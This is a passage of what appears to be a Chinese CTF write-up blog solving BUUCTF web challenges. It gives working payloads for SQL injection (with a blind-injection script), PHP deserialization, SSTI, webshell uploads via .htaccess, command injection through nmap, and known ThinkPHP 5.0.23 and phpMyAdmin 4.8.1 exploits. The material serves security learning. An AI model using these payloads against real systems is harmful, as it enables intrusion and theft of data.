?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

得到的内容

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

并且文件包含下面有一个反序列化,又看到了__tostring函数,当一个对象被当作字符串对待的时候,会触发这个魔术方法。我构造的对象

<?php 
class Flag{  
    public $file="flag.php";  
}

$f = new Flag();
echo serialize($f);

//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在传入对象之前当然要把读取文件流改为正常包含文件了。最终payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[CISCN2019 华北赛区 Day2 Web1]Hack World

很明显的sql注入,随便尝试一些语句有

1 » Hello, glzjin wants a girlfriend.

2 » Do you want to be my girlfriend?

3之后都是 » Error Occured When Fetch Result.

输入一个单引号1'出现了bool(false),是一个布尔类型返回,就很有可能是盲注之类的。测试的时候还发现空格被过滤了,空格被过滤可以尝试使用TAB制表符代替。

题目中也有提示

All You Want Is In Table ‘flag’ and the column is ‘flag’

说明flag在flag表的flag字段中。以下是一个布尔盲注的脚本,思路就是查询flag的值使用substr函数每次截取一个字符,获得其ascii值再使用二分法确定具体的值,最后拼接输出。

import requests
import time

url = 'http://26670c55-697e-4520-ae0a-bd23a786cd72.node3.buuoj.cn/'
result = ''

for x in range(1, 50):
	high = 127
	low = 32
	mid = (low + high) // 2
	while high>low:
		payload = "if(ascii(substr((select	flag	from	flag),%d,1))>%d,1,2)" % (x, mid)
		data = {
			"id":payload
		}
		time.sleep(0.3)
		response = requests.post(url, data = data)
		if 'Hello' in response.text:
			low=mid+1
		else:
			high = mid
		mid = (low+high)/2

	result += chr(int(mid))
	print(result)
	
#flag{929c8993-2d85-4fbf-8e48-7c457551105e}

[极客大挑战 2019]HardSQL

还是sql注入题。尝试在输入框里输入#--+时被拦下了,但是在url中使用%23通过了。尝试了union但是被过滤了,使用双写也不通过,和这道题同类型的题前面有Baby SQL、Easy SQL,考点还剩下的有盲注、报错注入、堆叠注入。尝试报错注入可以使用,我参考的十种MySQL报错注入。还需要注意空格是会被拦下的,url编码也不能通过,所以在语句中的表名需要使用()隔开,具体payload如下:

  1. 爆表
?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23&password=1

当前表名是:H4rDsq1

  1. 爆字段
?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23&password=1

当前表的字段有:id,username,password

  1. 出数据

如果使用正常的查询语句会因为flag的长度太长,页面中的回显长度不能显示全,但是可以使用leftright函数:

语法:LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)

这两个函数会用到选取的长度,如果想要拼成一个完整的flag,可以先用length查看总长度,计算以后拼一下

?username=admin%27or(extractvalue(1,concat(0x7e,(select(left(password,35))from(H4rDsq1)),0x7e)))%23&password=1

flag{112bb5db-17a4-47e2-97b4-19

?username=admin%27or(extractvalue(1,concat(0x7e,(select(right(password,11))from(H4rDsq1)),0x7e)))%23&password=1

dc295a017f}


[网鼎杯 2018]Fakebook

是一个展示自己博客网址的列表,先随便注册一个

我填的是baidu的网址23333。这时的url是:

http://2cefe2a5-4e68-44ce-870c-3628c2500cd3.node3.buuoj.cn/view.php?no=1

看到了no=1,应该想到了sql注入,我没有试出什么名堂,但是在网上找到了一个这道题的非预期解:[网鼎杯2018]fakebook题解,使用了load_file函数直接读取了flag文件。同样是空格被过滤,但是可以使用/**/绕过。

非预期解

?no=-1 union/**/select 1,2,3,4

先使用上面的语句查看回显点。

找的了位置2的回显点,可以把函数替换在2的位置上。

?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

参考师傅的博客中是使用了盲注获得flag的,其实执行以后使用页面的选取工具选取回显的标签块,可以在注释里找的到🤣

预期解

正常的sql注入一套查询,同样是使用/**/绕过空格过滤。

爆表

?no=-1%20union/***/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%23

爆字段

?no=-1 union/***/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' %23

出数据

?no=-1 union/***/select 1,group_concat(no,username,passwd,data),3,4 from users

查询的结果是一大串字符串,但是在结尾一个PHP的序列化对象:

O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:20:"http://www.baidu.com";}

说明网站是使用反序列化获取对应栏的数据,下面有一个iframe的标签,根据提示the contents of his/her blog,得知我们提供的网址会在这里显示,正好有一个php伪协议file://可以读取本地文件,思路就是:使用伪协议读取flag作为blog网站回显在iframe的标签中,所以构造一个序列化对象。

<?php

class UserInfo
{
    public $name = "guobang";
    public $age = 18;
    public $blog = "file:///var/www/html/flag.php";
}

$s = new UserInfo();
echo serialize($s);

//O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最终payload

?no=-1%20union/***/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from%20users

在iframe里面找,是一个data:text/html的数据格式,base64加密的噢。


[网鼎杯 2020 青龙组]AreUSerialz

部分图

最下面有对于payload的限制:

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

需要payload中的字符ascii码值大于32小于125。注意到最后有一个unserialize函数,判断这道题考点是反序列化。接下来分析源码:

  • process()函数判断op的值,如果是1就写入文件,如果是2就读取文件。代码开头包含了flag.php文件,所以推测需要使用2操作数读取flag.php文件。
  • write()把对象中的$content属性值写入到$filename文件中,如果长度大于100会被拦下。
  • read()使用**file_get_contents()**函数读取文件。正是我们想要的
  • output()输出内容。
  • __destruct()对象销毁时会执行的函数,需要注意的是if判断里的$this->op === "2"是强比较,并且会修改op的值为1(写文件),因为**“2”是一个字符串类型的如果传入整型的2**即可绕过。

所以我们构造一个对象op为2,filename为flag.php即可,读文件的时候肯定不是

接下来是反序列化时会遇到的问题,因为对象中属性的修饰是protected,序列化时需要保证一致的。

先给出自己创建的对象源码

<?php
class FileHandler {

    protected  $op=2;
    protected  $filename="/var/www/html/flag.php";
    protected  $content;
}

$c = new FileHandler();
echo serialize($c);
  1. PHP7.1以上版本对属性类型不敏感、用public绕过:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";s:7:"content";N;}

运行以后可以在网页注释中找到文件。绝对路径读取也可以,我第一次使用php://filter读再去解码也成功了。

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
  1. 序列化字符串中s替换为S,支持字符串用16进制,
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:22:"/var/www/html/flag.php";S:10:"\00*\00content";N;}

思路:https://blog.csdn.net/Oavinci/article/details/106998738


[MRCTF2020]你传你🐎呢

测试后缀,php、phtml都被过滤了,htaccess可以,先传上特供的.htaccess

SetHandler application/x-httpd-php

传图片马,我一直用的是GIF马,几次尝试都没通过,后来修改了Content-Type: image/jpeg可以了,说明Content-Type是GIF还不行,接下来直接传图片码

根据地址访问图片马的地址,使用system读文件还没成,用蚁剑连了执行执行ret=127,disable_function了

不过根目录下的flag文件还是可以正常读取,至于disable_function可以参考【极客大挑战 2019】RCE ME


[BJDCTF 2nd]fake google

就一个输入框,随便输入一个去看看,跳转以后

注释里有提示ssti,应该是模板注入,就在网上搜一个ssti的payload试试SSTI (服务器模板注入)

找到了一个直接读文件的payload

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}


[GYCTF2020]Blacklist

sql注入,先试一试堆叠注入,可以执行,尝试select的时候返回了过滤内容

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

前面还有一个堆叠注入的是新姿势**[强网杯 2019]随便注**,一种是使用prepare预处理语句,另一种是修改表名,根据上面的过滤内容,两种方法都被过滤了。先试试查看表:

-1';show tables;

FlagHere
words

查看表结构:

-1';desc `FlagHere`;

接下来是看的wp,学到了个新姿势:使用HANDLER ... OPEN语句,贴一个官方文档

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close


[强网杯 2019]高明的黑客

下载源码以后一堆不可读的源码,但是里面有很多shell,看不懂所以找了wp,思路就是用脚本匹配文件中的shell,然后传参试一试每一个shell是否能用,抄脚本

# codeing = utf-8

import  requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8
session = requests.session()
session.keep_alive = False

sem=threading.Semaphore(30)

url="http://84fa677d-e4dd-47a1-9124-1823cc996d12.node3.buuoj.cn/"

path = "D:\DROPS\phpstudy_pro\WWW\ctf\src\\"
fileNames = os.listdir(path)

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]")
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]")

local_file = open("flag.txt","w",encoding="utf-8")

def run(fileName):
    with sem:
        file = open(path+fileName,'r',encoding='utf-8')
        content = file.read()
        print("[+]checking: %s"%fileName)

        #GET
        for i in rrGET.findall(content):
            r = session.get(url+"%s?%s=%s"%(fileName,i,"echo ~guobanghhh~"))
            if "~guobanghhh~" in r.text:
                flag = fileName + "中的" + i + "可以用!!!"
                print(flag)
                local_file.write(flag)

        #POST
        # for i in rrPOST.findall(content):
        #     r = session.post(url+fileName,data={i:"echo ~guobanghhh~"})
        #     if "~guobanghhh~" in r.text:
        #         flag = fileName + "中的" + i + "可以用!!!"
        #         print(flag)
        #         local_file.write(flag)

if __name__ == '__main__':
    run("xk0SzyKwfzw.php")
    start_time = time.time()  # 开始时间
    print("[start]程序开始:" + str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread(target=run,args=(fileName,))
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()

结果就是访问

http://dd1c66d5-66b2-4b82-a2a8-bf7bfbecdd97.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

获得flag


[MRCTF2020]Ez_bypass

不截图了,主页没有代码格式,贴一个源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

分析一波:

  • 第7行是第一层需要md5的值相同但是两个变量不同,需要注意是强比较===噢。
  • 第11、17行判断passwd是非数字并且若比较==等于1234567

第一个利用数组即可绕过

md5([1,2,3]) == md5([4,5,6]) == NULL

第二个利用比较时会进行类型转换,字符串1234567a会被强制转换类型为整型的1234567

payload

?id[]=1&gg[]=2

POST
passwd=1234567a

[BUUCTF 2018]Online Tool

源码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

最后有一个system函数,但是使用的nmap的指令,经过一番搜索得知了nmap可以把结果存储在文件里,所以这道题也是道RCE。还有两个没见过的函数escapeshellargescapeshellcmd

这道题利用了两个点

  1. nmap可以将扫描的结果存储在文件里。使用方法:Nmap扫描结果的保存和输出

  2. escapeshellarg+escapeshellcmd同时使用有一些漏洞

    谈谈escapeshellarg参数绕过和注入的问题

    PHP escapeshellarg()+escapeshellcmd() 之殇

参考博客整理一下这两个处理命令的函数同时使用时的问题:

  1. 假如传入的参数为172.17.0.2' -v -d a=1
  2. 首先经过escapeshellarg函数,这个函数会把单独的单引号'加上转义符\并使用单引号'括起来,再使用单引号'把整个参数括起来。这时候的参数是'172.17.0.2'\'' -v -d a=1'
  3. 再进入escapeshellcmd函数,这个函数(从左至右会把落单的符号直接加转义符,其他什么都不做)遇到成对匹配的单引号'不过处理,转义符\再使用转义符转义,再略过一个成对的单引号'',最后一个单引号'再使用转义符转义。这时候的参数就成了'172.17.0.2'\\'' -v -d a=1\'
  4. 最后执行的参数是'172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白符。所以可以简化为 172.17.0.2\ -v -d a=1'

所以构造payload:

'<?php eval($_POST[_]) ?> -oG 1.php '

经过escapeshellarg函数会被解析成为:''\''<?php eval($_POST[_]) ?> -oG 1.php '\'''

再经过escapeshellcmd函数会被解析为:''\\''<?php eval($_POST[_]) ?> -oG 1.php '\\'''

注意最后单引号前面的那个空格很重要,如果是紧挨着的话文件名称就成了1.php\不在是php文件了。所以我们的payload最终在服务器端是:\<?php eval($_POST[_]) ?> -oG 1.php \

加空格目的是为了防止文件名后缀中出现符号,加上空格就会舍去。

<?php
$host = "'<?php eval($_POST[_]) ?> -oG 1.php '";
echo $host."\n";
$host = escapeshellarg($host);
echo $host."\n";
$host = escapeshellcmd($host);
echo $host."\n";

结果:

'<?php eval() ?> -oG 1.php '
''\''<?php eval() ?> -oG 1.php '\'''
''\\''\<\?php eval\(\) \?\> -oG 1.php '\\'''

最终请求payload

/?host='<?php eval($_POST[_]) ?> -oG 1.php '

执行指令时会创建一个sandbox文件夹,访问$sandbox$/1.php,POST传参

_=system('cat /flag');


[RoarCTF 2019]Easy Java

是java写的web程序

考点是WEB-INF/web.xml泄露

WEB-INF主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

重点不在登陆界面,而是那个Help按钮,可以下载文件。

首先尝试去读web.xml文档,添加POST请求

filename=WEB-INF/web.xml

可以读取web.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

注意到了一个FlagController的控制器,它所在的类为com.wm.ctf.FlagController,前面也提到了编译文件所在的文件夹/WEB-INF/classes/,去这个文件夹下载FlagController相关的文件,还需要知道的是:Javaweb程序编译文件的目录结构是根据类名创建的,类名我们也知道了,所以下载:

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

class文件源码好多不可见字符

我选中的那段就是flag在的地方,看到了==就应该意识到是base64编码,但是base64编码里没有<这个字符,所以flag的密文就是

ZmxhZ3s0NmNhMTExMS01ZjI5LTQwYjMtYjUwMC1lYWMzZjkyMjU4ODF9Cg==

———————–以下部分施工中👷‍♂️————————

下面的都是没有整理,先把重要思路写下来了,然后有时间再配图


[GKCTF2020]cve版签到

CVE-2020-7066

只有一个按钮,点击以后查看网页的Network请求中有一个

Hint: Flag in localhost

且utl地址中有可控的参数,所以应该是使用ssrf。这里还有一个提示是在主页面那里

You just view *.ctfhub.com

只可以访问以ctfhub.com结尾的网站,再根据cve使用%00截断访问:

?url=http://127.0.0.1%00.ctfhub.com

第二个提示:

Host must be end with ‘123’

必须以123结尾,所以最终payload

?url=http://127.0.0.123%00.ctfhub.com

[GXYCTF2019]禁止套娃

git泄露。我使用的https://github.com/gakki429/Git_Extract

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

正则表达式匹配的只有函数的形式如var_dump();是一道无参数RCE,看的题解自己整理的payload:

?exp=var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

一层一层解释:

localeconv() 函数返回一包含本地数字及货币格式信息的数组

图片展示

current() 返回数组中的当前单元, 默认取第一个值。别名pos()

到这里获得的是一个点

scandir() 遍历目录,是.的话就是列出当前目录。

此时输出:

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

这时的输出还是键值对的形式,我们需要使用array_flip()函数交换键值对,然后使用随机函数array_rand()从数组中随机取出一个或多个单元。因为正则的原因无法使用file_get_contents(),但是还有其他读取文件的函数:readfile()、highlight_file()和它的别名函数show_source()。


[GXYCTF2019]BabyUpload

ph过滤,image/gif不能通过。image/jpe可以

上传.htaccess

SetHandler application/x-httpd-php

上传码,但是不能是php代码,使用js

<script language="php">eval($_REQUEST[shell])</script>

完工


[BJDCTF 2nd]old-hack

ThinkPHP的漏洞

ThinkPHP5 5.0.23

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[安洵杯 2019]easy_web

看url一个img和cmd,页面中有一个图片的标签,和一个md5 is funny ~。把url中img的值进行解码发现图片名为555.png,尝试用同样的编码方式读取index.php,加密的编码依次为:hex–>base64–>base64。

index.php

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

我不知道为什么,我的bp一定要在&前加一个空格才可以通过。

?cmd=uniq%20/flag

POST
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

读文件的绕过有

1more:一页一页的显示档案内容
2less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3head:查看头几行
4tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5tail:查看尾几行
6nl:显示的时候,顺便输出行号
7od:以二进制的方式读取档案内容
8vi:一种编辑器,这个也可以查看
9vim:一种编辑器,这个也可以查看
10sort:可以查看
11uniq:可以查看
12file -f:报错出具体内容

摘自命令执行漏洞利用及绕过方式总结


[BJDCTF2020]Mark loves cat

git泄露

flag.php

<?php

$flag = file_get_contents('/flag');

index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds); 
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

尝试输出$flag即可。exit()函数退出时也会输出。

第一个不可能实现,如果POST或GET传入flag的话必然导致$flag修改,那么正好符合第二个if。

payload

GET
?yds=flag

POST(任意,但是需要保证不传flag)
is=233flag

[BJDCTF2020]The mystery of ip

hint.php里面有注释

Do you know why i know your ip?

去flag.php尝试加入请求头x-forward-x、client-ip发现ip可以改变。然后是自己感觉网页很简单,突破点在请求头中,尝试了下ssti模板注入,发现成功了。

尝试了几个ssti的payload不行,但是提示了

Uncaught –> Smarty Compiler:…………………

得知了这个是Smarty引擎,在网上尝试搜索这种类型的注入

请求:
X-Forwarded-For: {system('cat /flag')}

SSTI神器–Tplmap,看介绍是和sqlmap差不多的工具。

这个师傅的博客写的很全:https://www.cnblogs.com/R3col/p/12746485.html,所有类型的模板引擎payload都有,注入之前需要先确定类型。

CTF SSTI(服务器模板注入)

flask之ssti模版注入从零到入门


[GWCTF 2019]我有一个数据库

页面是乱码,想知道内容了可以看下图

$$各种乱码图

对照的是古文码。是以GBK方式读取UTF-8编码的中文,我举个例子,使用vscode,先通过编码保存–>GBK,再通过编码打开–>UTF-8。内容如下

我有一个数据库,但里面什么也没有~ 不信你找

提示是数据库了,那么果断尝试PHPmyadmin,访问成功,然后查看下版本,去网上搜索对应版本的漏洞

phpmyadmin4.8.1后台getshell

payload

/phpmyadmin/index.php?target=db_sql.php%253f../../../../../../flag

可以包含任意文件,理应可以包含数据库文件,在数据库表字段写shell,没成不知道数据库文件名称


2021.03.01


[BJDCTF2020]ZJCTF,不过如此

绕过

第一层用php伪协议中的data封装流。PHP伪协议总结

然后进入文件包含,提示包含next.php文件,还是使用php伪协议中的php://filter

payload

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

读出来的next.php

PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里想要通过需要知道一个深入研究 preg_replace /e 模式下的代码漏洞问题

最终payload

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

[De1CTF 2019]SSRF Me

进入页面是一堆源码,之前写过flask的可以大概理出来几个重要的点,但是还是贴一下源码

#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if (not os.path.exists(self.sandbox)):  # SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)  # 此处是文件读取得注入点
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if (waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

简单说明思路:

请求部分(代码69-78):

获取的param是需要打开文件的名称,提示中已经写出flag在flag.txt。根据使用函数,可以使用get传参
读取文件需要在cookie里传入参数action、sign
action是执行类型,代码33行和43行指出了两种。
sing是用来验证param和action的,相关函数在94行,稍后做解释

获取sign部分(61-66)

获取param,action固定为scan
返回(secert_key + param + action)组合的sign

所以我们需要先获取sign,获取sign时包含的param和action,再去请求文件获得flag,并且获取flag时会验证sign是否符合格式(代码32行、54-58行)。因为获取sign时action固定为scan(代码65),但是请求中我们需要使用read才可以访问,所以构造payload。

假如param=flag.txt,获取sign时action固定值为scan,此时的sign为(使用|仅为说明使用,其实字符串是相连的)

secert_key|flag.txt|scan

但是我们想要使用read,可以构造param为flag.txtread

secert_key|flag.txtread|scan

再进行验证的时候我们传入param为flag.txt,action为readscan即可符合格式。

secert_key|flag.txt|readscan

请求/geneSign

/geneSign?param=flag.txtread

得到

9017a8826b7267833f22c0f22d90fea7

得到sign以后,再去访问/De1ta

/De1ta?param=flag.txt

